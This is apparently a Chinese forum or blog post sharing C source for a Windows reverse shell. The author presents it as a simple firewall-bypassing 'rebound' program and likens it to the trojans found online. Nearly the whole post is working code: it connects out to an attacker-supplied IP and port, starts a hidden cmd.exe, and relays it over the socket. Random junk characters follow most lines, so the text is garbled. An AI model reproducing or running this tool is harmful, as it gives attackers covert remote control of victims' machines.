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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 N)Q_z9b=  
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/* ============================== }WC[ <AqI  
Rebound port in Windows NT cK]n"6N[  
By wind,2006/7 xtv%C  
===============================*/ ma*#*4  
#include nN<,rN{ :  
#include \D z? h  
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#pragma comment(lib,"wsock32.lib") d"-I^|[OM  
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void OutputShell(); ]m 3cm  
SOCKET sClient; Y2l;NSWU  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; klQmo30i  
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void main(int argc,char **argv) iKPgiL~  
{ |-S!)iG1V  
WSADATA stWsaData; U'" #jT  
int nRet; Ar >JQ@0  
SOCKADDR_IN stSaiClient,stSaiServer; w#A\(z%;x  
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if(argc != 3) zC)JOykI%  
{ a~LA&>@  
printf("Useage:\n\rRebound DestIP DestPort\n"); hE=xS:6  
return; AzJ;E tR  
} \f4rA?+f  
NYHK>u/5c  
WSAStartup(MAKEWORD(2,2),&stWsaData); #|je m   
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /YZMP'v  
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stSaiClient.sin_family = AF_INET; F!hjtIkPj  
stSaiClient.sin_port = htons(0); ZlC+DXg#S  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &':C"_|&r  
7:LEf"vRZ  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) HM)D/CO,?  
{ )s:kQ~+  
printf("Bind Socket Failed!\n"); ?+ d{Rh) y  
return; G.L}VpopM  
} /# Jvt  
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stSaiServer.sin_family = AF_INET; 1QA/ !2E  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); C@ q#s  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); K:< Viz  
pm=O.)g4`  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;0m J4G  
{ c.LRS$o/j  
printf("Connect Error!"); &D[M<7T  
return; 25`W"x_  
} Dx /w&v  
OutputShell(); /y{fDCC  
} \,/ozfJ7dT  
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void OutputShell() U}X'RCM  
{ g,WTXRy  
char szBuff[1024]; qh6b;ae\x  
SECURITY_ATTRIBUTES stSecurityAttributes; 3,G|oR{D  
OSVERSIONINFO stOsversionInfo; N e{=KdzT  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9A4n8,&sm  
STARTUPINFO stStartupInfo; .4E24FB[f?  
char *szShell; X4:84  
PROCESS_INFORMATION stProcessInformation; a'Cny((  
unsigned long lBytesRead; |7,$.MK-@  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,^mEi  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "dv\ 9O  
stSecurityAttributes.lpSecurityDescriptor = 0; )Rb t0   
stSecurityAttributes.bInheritHandle = TRUE; y=\&z&3$  
lrHN6:x(Y4  
,V]FAIJ  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4IW90"uc  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); LC=M{\  
7\$}|b[9  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xG edY*[`  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  Iw?^  
stStartupInfo.wShowWindow = SW_HIDE; -ys/I,}<  
stStartupInfo.hStdInput = hReadPipe; 6w3[PNd  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ) xV>Va8)  
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GetVersionEx(&stOsversionInfo); _]'kw [  
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switch(stOsversionInfo.dwPlatformId) 9b-4BON{P  
{ 8TH;6-RT  
case 1: |,n(9Ix  
szShell = "command.com"; ueW/i  
break; ''9K(p6  
default: '^7Z]K<v  
szShell = "cmd.exe"; 23=wz%tF  
break; G^<m0ew|  
} 9(=+OQ6  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \N?lG q  
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send(sClient,szMsg,77,0); 1$ }Tn  
while(1) &BKnJ {,H  
{ 2^5RQl/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Vfq-H/+  
if(lBytesRead) OHngpe4  
{ h>xB"E|.  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3,#qt}8`  
send(sClient,szBuff,lBytesRead,0); *6_>/!ywI  
} i[33u p  
else Wa?\W&  
{ gHL:XW^  
lBytesRead=recv(sClient,szBuff,1024,0); -yIx:*KI  
if(lBytesRead<=0) break; Frx_aGLH1  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); n*AN/LBp  
} $RRh}w\0^  
} qMO(j%N5  
2B6y1"B  
return; |U~\;m@  
}
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